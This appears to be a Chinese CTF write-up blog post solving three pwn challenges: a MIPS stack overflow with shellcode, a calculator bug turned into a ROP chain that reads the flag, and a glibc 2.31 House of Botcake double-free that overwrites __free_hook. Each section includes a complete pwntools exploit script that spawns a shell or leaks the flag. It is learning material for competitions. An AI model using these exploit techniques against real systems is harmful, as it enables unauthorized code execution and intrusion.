打的很差 拖队友后腿了 我的锅 很对不起队友的努力
比赛时候印象最深的就是ai狗了 看了半天晕了
还有电脑真是越来越卡了 自带的window文件资源管理器比赛时候卡的要死 卡晕了 现在下了个360的感觉还行
mips_pwn_challenge

开头输入255 就会给你栈地址
本题是个mips 平时没有遇到 那时候xyctf2024有这种 但我那时候刚入坑没有记过这个
但调式和其他异构pwn区别不大 但是我的虚拟机前几个月炸过 qemu没装回去 还是自己太菜了
思路很简单 很大的输入直接溢出 并且mips没有nx保护 所以我们写个shellcode并且返回跳转到那里就可以了
这里我也看网上文章复习了下调试
1 2
| qemu-mips-static -g 2333 -L /usr/mips-linux-gnu/ ./mips_pwn 一个终端开这个
|
1 2
| gdb-multiarch mips_pwn pwndbg> target remote 127.0.0.1:2333
|
然后就可以调试了
然后有要输入的地方在第一个终端输入就行
调试输入后看看


这里的返回地址是fp上方这个d9c 所以可以填充2c字节 溢出返回地址 并且写入shellcode 返回地址就是shellcode开始位置 也就是fp位置da0
exp
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
context(arch='mips', endian='big', os='linux',log_level='debug')
p = remote('10.1.100.59',9999) p.sendline(b'255') p.recvuntil(b'gift: ') stack = int(p.recvline(keepends=False),16) log.success(hex(stack)) payload = b'a' * (0x2c) + p32(stack+0x30) + asm(shellcraft.sh()) p.send(payload) p.interactive()
|
easy calc
请教了下学弟 学弟还是太厉害了 我是fw 好笨啊

运行程序 发现好像是个计算的

用ida打开好多一大串 一点不想看 只有个输入式子然后输出结果 这种计算题可以想到试试乱写式子看看程序会有啥变化 一般来说就是运算逻辑会有问题 详细看代码太麻烦了而且还慢而且还看不懂
当式子输入1+时发现

返回地址好像就是1
所以最后一个要是+后面啥也不跟,就会产生一个上溢,把返回地址覆盖成最后的答案
输入是1+2+时

前面两个是1+2的值 第三个是2
但我们想要的是一组连贯的rop链 但这样看好像是有干扰的
我们加个括号看看
输入(1)-(2)++发现

括号间的减法放在这里居然也还是加(具体是啥的话还是得要看看代码 不过试出来还是比较方便)
正常的1-2+是

所以可以利用括号来写rop链
输入(1)-2+(2)++发现

好像这么输入 一个括号减去一个要链入的数再括号回来就可以 那么就这么写rop链了
字符串中有./flag字符串 所以就可以写orw获取flag ret2libc也是可以的 有几个括号那就在最后加几个+就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import *
p=process('./pwn') libc = ELF('./libc.so.6') elf=ELF('./pwn')
main = 0x401535 pop_rdi_ret = 0x0402330 ret = 0x40101a flag = 0x403008 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = f'({ret})-{pop_rdi_ret}+' payload += f'({pop_rdi_ret})-{puts_got}+' payload += f'({puts_got})-{puts_plt}+' payload += f'({puts_plt})-{main}+' payload += f'({main})+++++' p.sendafter('input',payload) print(p.recvuntil('0\n')) puts = u64(p.recv(6).ljust(8,b"\x00")) libc_base = puts - libc.sym['puts'] libc.address = libc_base system = libc.sym['system'] bin_sh = libc.search('/bin/sh').__next__() Open = libc.sym['open'] sendfile = libc.sym['sendfile'] pop_rsi_ret = libc.address + 0x002601f pop_rdx_rcx_rbx_ret = libc.address + 0x10257d payload = f'({ret})-{pop_rdi_ret}+'
payload += f'({pop_rdi_ret})-{flag}+' payload += f'({flag})-{pop_rsi_ret}+' payload += f'({pop_rsi_ret})-{0}+' payload += f'({0})-{Open}+' payload += f'({Open})-{pop_rdi_ret}+' payload += f'({pop_rdi_ret})-{1}+' payload += f'({1})-{pop_rsi_ret}+' payload += f'({pop_rsi_ret})-{3}+' payload += f'({3})-{pop_rdx_rcx_rbx_ret}+' payload += f'({pop_rdx_rcx_rbx_ret})-{0}+' payload += f'({0})-{100}+' payload += f'({100})-{0}+' payload += f'({0})-{sendfile}+' payload += f'({sendfile})-{main}+' payload += f'({main})++++++++++++++++'
p.sendafter('input',payload) p.interactive()
|

得到flag
only_one
菜单就一个添加删除 然后有一次doublefree 这题的libc是2.31 加入了对doublefree的检测 引入了对 Tcache Key 的检查。当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。这里就可以利用House of Botcake这个手法
总结说就是申请10个一样的堆块(最后一个堆块防止合并)前面七个free掉填满tcache 然后free掉第9个堆块,这样第9个堆块就被填入到了unsortedbin中 然后free掉第8个堆块 那么第8个和第9个合成了个大的堆块在unsortedbin中
然后就是最关键的 此时从前面满了的tcache堆块申请出一个 然后free9号堆块进去(doublefree)然后我们add出来修改他的fd地址就可以了
本题没有show函数 所以这里利用stdout进行泄露 十六分之一的概率

先是第9堆块弄到unsortedbin中

然后把第8堆块free掉 第7堆块申请出来 第9堆块放入tcache中


申请堆块 并且对第九堆块fd进行修改 申请出来打io泄露出libc

然后我们就要想想怎么得到shell
可以进行堆块覆写操作
先将第8堆块分开 因为第8堆块口在tcache上的f0(exp上)堆块集 所以可以操作下
分开成两段 然后创建时后半段最后可以覆写第9堆块后半为堆块14
后面free14然后创建也就是第9堆块后半修改到第10堆块的fd为free_hook
然后覆写system就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * context.update(os = 'linux', arch = 'amd64') context.log_level = 'debug'
filename = "./pwn" libc=ELF("libc.so.6") host = "10.1.100.121" port = 9999 elf = ELF(filename) p = process('./pwn')
sla = lambda delim, data: p.sendlineafter(delim, data) sa = lambda delim, data: p.sendafter(delim, data) s = lambda data: p.send(data) sl = lambda data: p.sendline(data) ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs) io = lambda: p.interactive() log = lambda name, data: success(f'{name}: {data:#x}')
def cmd(idx): sla(b'> ', str(idx).encode())
def add(size, data=b'a'): cmd(1) sla(b'Size: ', str(size).encode()) sa(b': ', data)
def delete(idx): cmd(2) sla(b': ', str(idx).encode())
def magic(idx): cmd(999) sla(b': ', str(idx).encode())
def main(): for i in range(10): add(0xe0)
for i in range(7): delete(i) magic(8) delete(7)
add(0xe0) delete(8)
add(0x60) add(0x70)
add(0x70, b'\xa0\x26') add(0x60) add(0xe0, b'\0'*0x78 + p64(0x91)) add(0xe0, fit(0xfbad1800, 0, 0, 0) + b'\x08') libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\0')) - 0x1ec980 log('libc', libc.address)
delete(10) delete(9) delete(14) gdb.attach(p) add(0x80, b'\x00'*0x68 + p64(0xf1)+p64(libc.sym['__free_hook'])+p64(0)) add(0xe0, b'/bin/sh\0') add(0xe0, fit(libc.sym.system))
delete(18)
io()
if __name__ == "__main__": main()
|
1
| 参考文章:https://mp.weixin.qq.com/s/Vl86wmSNVhbZd7f9KSkh8g
|